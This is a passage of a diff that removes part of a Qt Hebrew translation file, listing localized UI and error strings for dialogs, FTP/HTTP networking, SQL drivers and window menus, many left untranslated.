- <source>Traditional Chinese</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Japanese</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Korean</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Vietnamese</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Symbol</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Ogham</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Runic</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QFontDialog</name>
- <message>
- <location filename="../src/gui/dialogs/qfontdialog.cpp" line="+772"/>
- <source>&amp;Font</source>
- <translation>&amp;גופן</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Font st&amp;yle</source>
- <translation>&amp;סגנון גופן</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Size</source>
- <translation>גו&amp;דל</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Effects</source>
- <translation>אפקטים</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Stri&amp;keout</source>
- <translation>קו &amp;חוצה</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Underline</source>
- <translation>קו &amp;תחתי</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Sample</source>
- <translation>דוגמה</translation>
- </message>
- <message>
- <location line="-603"/>
- <location line="+247"/>
- <source>Select Font</source>
- <translation>בחר גופן</translation>
- </message>
- <message>
- <location line="+357"/>
- <source>Wr&amp;iting System</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QFtp</name>
- <message>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+2303"/>
- <source>Host %1 found</source>
- <translation type="unfinished">המארח %1 נמצא</translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Host found</source>
- <translation type="unfinished">המארח נמצא</translation>
- </message>
- <message>
- <location filename="../src/network/access/qftp.cpp" line="+1003"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="-1456"/>
- <location line="+1451"/>
- <source>Connected to host %1</source>
- <translation>מחובר למארח %1</translation>
- </message>
- <message>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+7"/>
- <source>Connected to host</source>
- <translation type="unfinished">מחובר למארח</translation>
- </message>
- <message>
- <location line="-5"/>
- <source>Connection to %1 closed</source>
- <translation type="unfinished">החיבור אל %1 נסגר</translation>
- </message>
- <message>
- <location filename="../src/network/access/qftp.cpp" line="+1375"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="-243"/>
- <location line="+250"/>
- <source>Connection closed</source>
- <translation>החיבור נסגר</translation>
- </message>
- <message>
- <location line="-1487"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="-1566"/>
- <source>Host %1 not found</source>
- <translation type="unfinished">המארח %1 לא נמצא</translation>
- </message>
- <message>
- <location line="+4"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+4"/>
- <source>Connection refused to host %1</source>
- <translation type="unfinished">החיבור אל המארח %1 נדחה</translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Connection timed out to host %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+501"/>
- <location line="+29"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+458"/>
- <location line="+728"/>
- <source>Unknown error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+889"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+77"/>
- <source>Connecting to host failed:
-%1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+3"/>
- <source>Login failed:
-%1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+3"/>
- <source>Listing directory failed:
-%1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+3"/>
- <source>Changing directory failed:
-%1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+3"/>
- <source>Downloading file failed:
-%1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+3"/>
- <source>Uploading file failed:
-%1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+3"/>
- <source>Removing file failed:
-%1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+3"/>
- <source>Creating directory failed:
-%1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+3"/>
- <source>Removing directory failed:
-%1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-1524"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="-1356"/>
- <source>Not connected</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+396"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+332"/>
- <source>Connection refused for data connection</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QHostInfo</name>
- <message>
- <location filename="../src/network/kernel/qhostinfo_p.h" line="+183"/>
- <source>Unknown error</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QHostInfoAgent</name>
- <message>
- <location filename="../src/network/kernel/qhostinfo_unix.cpp" line="+178"/>
- <location line="+9"/>
- <location line="+64"/>
- <location line="+31"/>
- <location filename="../src/network/kernel/qhostinfo_win.cpp" line="+180"/>
- <location line="+9"/>
- <location line="+40"/>
- <location line="+27"/>
- <source>Host not found</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-44"/>
- <location line="+39"/>
- <location filename="../src/network/kernel/qhostinfo_win.cpp" line="-34"/>
- <location line="+29"/>
- <source>Unknown address type</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+8"/>
- <location filename="../src/network/kernel/qhostinfo_win.cpp" line="-19"/>
- <location line="+27"/>
- <source>Unknown error</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QHttp</name>
- <message>
- <location filename="../src/network/access/qhttpnetworkconnection.cpp" line="+876"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="+1836"/>
- <source>Connection refused</source>
- <translation>החיבור נדחה</translation>
- </message>
- <message>
- <location filename="../src/network/access/qhttp.cpp" line="+2631"/>
- <location filename="../src/network/access/qhttpnetworkconnection.cpp" line="-4"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="+3"/>
- <source>Host %1 not found</source>
- <translation>המארח %1 לא נמצא</translation>
- </message>
- <message>
- <location line="-62"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="-45"/>
- <source>Wrong content length</source>
- <translation>אורך תוכן שגוי</translation>
- </message>
- <message>
- <location line="-2204"/>
- <source>HTTPS connection requested but SSL support not compiled in</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2286"/>
- <location filename="../src/network/access/qhttpnetworkconnection.cpp" line="+10"/>
- <location line="+19"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="+48"/>
- <source>HTTP request failed</source>
- <translation>בקשת ה-HTTP נכשלה</translation>
- </message>
- <message>
- <location filename="../src/qt3support/network/q3http.cpp" line="+450"/>
- <source>Host %1 found</source>
- <translation type="unfinished">המארח %1 נמצא</translation>
- </message>
- <message>
- <location line="+14"/>
- <source>Host found</source>
- <translation type="unfinished">המארח נמצא</translation>
- </message>
- <message>
- <location line="-11"/>
- <source>Connected to host %1</source>
- <translation type="unfinished">מחובר למארח %1</translation>
- </message>
- <message>
- <location line="+14"/>
- <source>Connected to host</source>
- <translation type="unfinished">מחובר למארח</translation>
- </message>
- <message>
- <location line="-11"/>
- <source>Connection to %1 closed</source>
- <translation type="unfinished">החיבור אל %1 נסגר</translation>
- </message>
- <message>
- <location filename="../src/network/access/qhttpnetworkconnection.cpp" line="-22"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="+14"/>
- <source>Connection closed</source>
- <translation type="unfinished">החיבור נסגר</translation>
- </message>
- <message>
- <location filename="../src/network/access/qhttp.cpp" line="-1077"/>
- <location line="+820"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="-1152"/>
- <location line="+567"/>
- <source>Unknown error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-568"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="-370"/>
- <source>Request aborted</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+579"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="+381"/>
- <source>No server set to connect to</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+168"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="+60"/>
- <source>Server closed connection unexpectedly</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+151"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="+113"/>
- <source>Invalid HTTP response header</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+28"/>
- <source>Unknown authentication method</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+97"/>
- <location line="+48"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="+40"/>
- <location line="+47"/>
- <source>Invalid HTTP chunked body</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+38"/>
- <source>Error writing response to device</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-173"/>
- <source>Proxy authentication required</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Authentication required</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-138"/>
- <source>Connection refused (or timed out)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/network/access/qhttpnetworkconnection.cpp" line="+6"/>
- <source>Proxy requires authentication</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Host requires authentication</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Data corrupted</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Unknown protocol specified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>SSL handshake failed</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QHttpSocketEngine</name>
- <message>
- <location filename="../src/network/socket/qhttpsocketengine.cpp" line="-89"/>
- <source>Did not receive HTTP response from proxy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+25"/>
- <source>Error parsing authentication request from proxy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+31"/>
- <source>Authentication required</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+27"/>
- <source>Proxy denied connection</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+10"/>
- <source>Error communicating with HTTP proxy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+23"/>
- <source>Proxy server not found</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Proxy connection refused</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Proxy server connection timed out</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Proxy connection closed prematurely</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QIBaseDriver</name>
- <message>
- <location filename="../src/sql/drivers/ibase/qsql_ibase.cpp" line="+1428"/>
- <source>Error opening database</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+54"/>
- <source>Could not start transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+13"/>
- <source>Unable to commit transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+13"/>
- <source>Unable to rollback transaction</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QIBaseResult</name>
- <message>
- <location line="-1097"/>
- <source>Unable to create BLOB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Unable to write BLOB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+14"/>
- <source>Unable to open BLOB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+16"/>
- <source>Unable to read BLOB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+125"/>
- <location line="+189"/>
- <source>Could not find array</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-157"/>
- <source>Could not get array data</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+212"/>
- <source>Could not get query info</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+20"/>
- <source>Could not start transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+19"/>
- <source>Unable to commit transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+33"/>
- <source>Could not allocate statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Could not prepare statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <location line="+7"/>
- <source>Could not describe input statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+10"/>
- <source>Could not describe statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+115"/>
- <source>Unable to close statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+8"/>
- <source>Unable to execute query</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+46"/>
- <source>Could not fetch next item</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+160"/>
- <source>Could not get statement info</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QIODevice</name>
- <message>
- <location filename="../src/corelib/global/qglobal.cpp" line="+1869"/>
- <source>Permission denied</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Too many open files</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>No such file or directory</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>No space left on device</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/corelib/io/qiodevice.cpp" line="+1536"/>
- <source>Unknown error</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QInputContext</name>
- <message>
- <location filename="../src/gui/inputmethod/qinputcontextfactory.cpp" line="+242"/>
- <source>XIM</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+23"/>
- <source>XIM input method</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Windows input method</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Mac OS X input method</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QInputDialog</name>
- <message>
- <location filename="../src/gui/dialogs/qinputdialog.cpp" line="+223"/>
- <source>Enter a value:</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QLibrary</name>
- <message>
- <location filename="../src/corelib/plugin/qlibrary.cpp" line="+378"/>
- <source>Could not mmap &apos;%1&apos;: %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+22"/>
- <source>Plugin verification data mismatch in &apos;%1&apos;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Could not unmap &apos;%1&apos;: %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+302"/>
- <source>The plugin &apos;%1&apos; uses incompatible Qt library. (%2.%3.%4) [%5]</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+20"/>
- <source>The plugin &apos;%1&apos; uses incompatible Qt library. Expected build key &quot;%2&quot;, got &quot;%3&quot;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+340"/>
- <source>Unknown error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-377"/>
- <location filename="../src/corelib/plugin/qpluginloader.cpp" line="+280"/>
- <source>The shared library was not found.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>The file &apos;%1&apos; is not a valid Qt plugin.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+43"/>
- <source>The plugin &apos;%1&apos; uses incompatible Qt library. (Cannot mix debug and release libraries.)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/corelib/plugin/qlibrary_unix.cpp" line="+209"/>
- <location filename="../src/corelib/plugin/qlibrary_win.cpp" line="+99"/>
- <source>Cannot load library %1: %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+16"/>
- <location filename="../src/corelib/plugin/qlibrary_win.cpp" line="+26"/>
- <source>Cannot unload library %1: %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+31"/>
- <location filename="../src/corelib/plugin/qlibrary_win.cpp" line="+15"/>
- <source>Cannot resolve symbol &quot;%1&quot; in %2: %3</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QLineEdit</name>
- <message>
- <location filename="../src/gui/widgets/qlineedit.cpp" line="+2680"/>
- <source>&amp;Undo</source>
- <translation type="unfinished">&amp;בטל</translation>
- </message>
- <message>
- <location line="+4"/>
- <source>&amp;Redo</source>
- <translation type="unfinished">בצע &amp;שוב</translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Cu&amp;t</source>
- <translation type="unfinished">&amp;גזור</translation>
- </message>
- <message>
- <location line="+4"/>
- <source>&amp;Copy</source>
- <translation type="unfinished">הע&amp;תק</translation>
- </message>
- <message>
- <location line="+4"/>
- <source>&amp;Paste</source>
- <translation type="unfinished">ה&amp;דבק</translation>
- </message>
- <message>
- <location line="+11"/>
- <source>Select All</source>
- <translation type="unfinished">בחר הכל</translation>
- </message>
- <message>
- <location line="-6"/>
- <source>Delete</source>
- <translation type="unfinished">מחק</translation>
- </message>
-</context>
-<context>
- <name>QLocalServer</name>
- <message>
- <location filename="../src/network/socket/qlocalserver.cpp" line="+226"/>
- <location filename="../src/network/socket/qlocalserver_unix.cpp" line="+231"/>
- <source>%1: Name error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/network/socket/qlocalserver_unix.cpp" line="-8"/>
- <source>%1: Permission denied</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+12"/>
- <source>%1: Address in use</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <location filename="../src/network/socket/qlocalserver_win.cpp" line="+158"/>
- <source>%1: Unknown error %2</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QLocalSocket</name>
- <message>
- <location filename="../src/network/socket/qlocalsocket_tcp.cpp" line="+132"/>
- <location filename="../src/network/socket/qlocalsocket_unix.cpp" line="+134"/>
- <source>%1: Connection refused</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <location filename="../src/network/socket/qlocalsocket_unix.cpp" line="+3"/>
- <source>%1: Remote closed</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <location filename="../src/network/socket/qlocalsocket_unix.cpp" line="+3"/>
- <location filename="../src/network/socket/qlocalsocket_win.cpp" line="+80"/>
- <location line="+43"/>
- <source>%1: Invalid name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <location filename="../src/network/socket/qlocalsocket_unix.cpp" line="+3"/>
- <source>%1: Socket access error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <location filename="../src/network/socket/qlocalsocket_unix.cpp" line="+3"/>
- <source>%1: Socket resource error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <location filename="../src/network/socket/qlocalsocket_unix.cpp" line="+3"/>
- <source>%1: Socket operation timed out</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <location filename="../src/network/socket/qlocalsocket_unix.cpp" line="+3"/>
- <source>%1: Datagram too large</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <location filename="../src/network/socket/qlocalsocket_unix.cpp" line="+3"/>
- <location filename="../src/network/socket/qlocalsocket_win.cpp" line="-48"/>
- <source>%1: Connection error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <location filename="../src/network/socket/qlocalsocket_unix.cpp" line="+3"/>
- <source>%1: The socket operation is not supported</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>%1: Unknown error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/network/socket/qlocalsocket_unix.cpp" line="+4"/>
- <location filename="../src/network/socket/qlocalsocket_win.cpp" line="+10"/>
- <source>%1: Unknown error %2</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QMYSQLDriver</name>
- <message>
- <location filename="../src/sql/drivers/mysql/qsql_mysql.cpp" line="+1231"/>
- <source>Unable to open database &apos;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Unable to connect</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+127"/>
- <source>Unable to begin transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+17"/>
- <source>Unable to commit transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+17"/>
- <source>Unable to rollback transaction</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QMYSQLResult</name>
- <message>
- <location line="-922"/>
- <source>Unable to fetch data</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+176"/>
- <source>Unable to execute query</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Unable to store result</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+190"/>
- <location line="+8"/>
- <source>Unable to prepare statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+34"/>
- <source>Unable to reset statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+87"/>
- <source>Unable to bind value</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+11"/>
- <source>Unable to execute statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+14"/>
- <location line="+21"/>
- <source>Unable to bind outvalues</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-12"/>
- <source>Unable to store statement results</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-253"/>
- <source>Unable to execute next query</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+10"/>
- <source>Unable to store next result</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QMdiArea</name>
- <message>
- <location filename="../src/gui/widgets/qmdiarea.cpp" line="+290"/>
- <source>(Untitled)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QMdiSubWindow</name>
- <message>
- <location filename="../src/gui/widgets/qmdisubwindow.cpp" line="+280"/>
- <source>%1 - [%2]</source>
- <translation type="unfinished">%1 - [%2]</translation>
- </message>
- <message>
- <location line="+72"/>
- <source>Close</source>
- <translation type="unfinished">סגור</translation>
- </message>
- <message>
- <location line="-18"/>
- <source>Minimize</source>
- <translation type="unfinished">מזער</translation>
- </message>
- <message>
- <location line="+13"/>
- <source>Restore Down</source>
- <translation type="unfinished">שחזר למטה</translation>
- </message>
- <message>
- <location line="+707"/>
- <source>&amp;Restore</source>
- <translation type="unfinished">ש&amp;חזר</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>&amp;Move</source>
- <translation type="unfinished">ה&amp;זז</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Size</source>
- <translation type="unfinished">גו&amp;דל</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Mi&amp;nimize</source>
- <translation type="unfinished">&amp;מזער</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Ma&amp;ximize</source>
- <translation type="unfinished">&amp;הגדל</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Stay on &amp;Top</source>
- <translation type="unfinished">&amp;תמיד עליון</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>&amp;Close</source>
- <translation type="unfinished">&amp;סגור</translation>
- </message>
- <message>
- <location line="-787"/>
- <source>- [%1]</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+58"/>
- <source>Maximize</source>
- <translation type="unfinished">הגדל</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Unshade</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Shade</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Restore</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Help</source>
- <translation type="unfinished">עזרה</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Menu</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QMenu</name>
- <message>
- <location filename="../src/plugins/accessible/widgets/qaccessiblemenu.cpp" line="+157"/>
- <location line="+225"/>
- <source>Close</source>
- <translation type="unfinished">סגור</translation>
- </message>
- <message>
- <location line="-224"/>
- <location line="+225"/>
- <source>Open</source>
- <translation type="unfinished">פתח</translation>
- </message>
- <message>
- <location line="-223"/>
- <location line="+225"/>
- <location line="+51"/>
- <source>Execute</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QMenuBar</name>
- <message>
- <source>Options</source>
- <translation type="obsolete">אפשרויות</translation>
- </message>
-</context>
-<context>
- <name>QMessageBox</name>
- <message>
- <location filename="../src/gui/dialogs/qmessagebox.cpp" line="-1964"/>
- <location line="+852"/>
- <location filename="../src/gui/dialogs/qmessagebox.h" line="-52"/>
- <location line="+8"/>
- <source>OK</source>
- <translation>אישור</translation>
- </message>
- <message>
- <location line="+509"/>
- <source>About Qt</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-508"/>
- <source>Help</source>
- <translation type="unfinished">עזרה</translation>
- </message>
- <message>
- <location line="-1097"/>
- <source>Show Details...</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Hide Details...</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1570"/>
- <source>&lt;h3&gt;About Qt&lt;/h3&gt;&lt;p&gt;This program uses Qt version %1.&lt;/p&gt;&lt;p&gt;Qt is a C++ toolkit for cross-platform application development.&lt;/p&gt;&lt;p&gt;Qt provides single-source portability across MS&amp;nbsp;Windows, Mac&amp;nbsp;OS&amp;nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.&lt;/p&gt;&lt;p&gt;Qt is available under three different licensing options designed to accommodate the needs of our various users.&lt;/p&gt;Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.&lt;/p&gt;&lt;p&gt;Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.&lt;/p&gt;&lt;p&gt;Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.&lt;/p&gt;&lt;p&gt;Please see &lt;a href=&quot;http://qt.nokia.com/products/licensing&quot;&gt;qt.nokia.com/products/licensing&lt;/a&gt; for an overview of Qt licensing.&lt;/p&gt;&lt;p&gt;Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).&lt;/p&gt;&lt;p&gt;Qt is a Nokia product. See &lt;a href=&quot;http://qt.nokia.com/&quot;&gt;qt.nokia.com&lt;/a&gt; for more information.&lt;/p&gt;</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QMultiInputContext</name>
- <message>
- <location filename="../src/plugins/inputmethods/imsw-multi/qmultiinputcontext.cpp" line="+88"/>
- <source>Select IM</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QMultiInputContextPlugin</name>
- <message>
- <location filename="../src/plugins/inputmethods/imsw-multi/qmultiinputcontextplugin.cpp" line="+95"/>
- <source>Multiple input method switcher</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Multiple input method switcher that uses the context menu of the text widgets</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QNativeSocketEngine</name>
- <message>
- <location filename="../src/network/socket/qnativesocketengine.cpp" line="+206"/>
- <source>The remote host closed the connection</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Network operation timed out</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Out of resources</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Unsupported socket operation</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
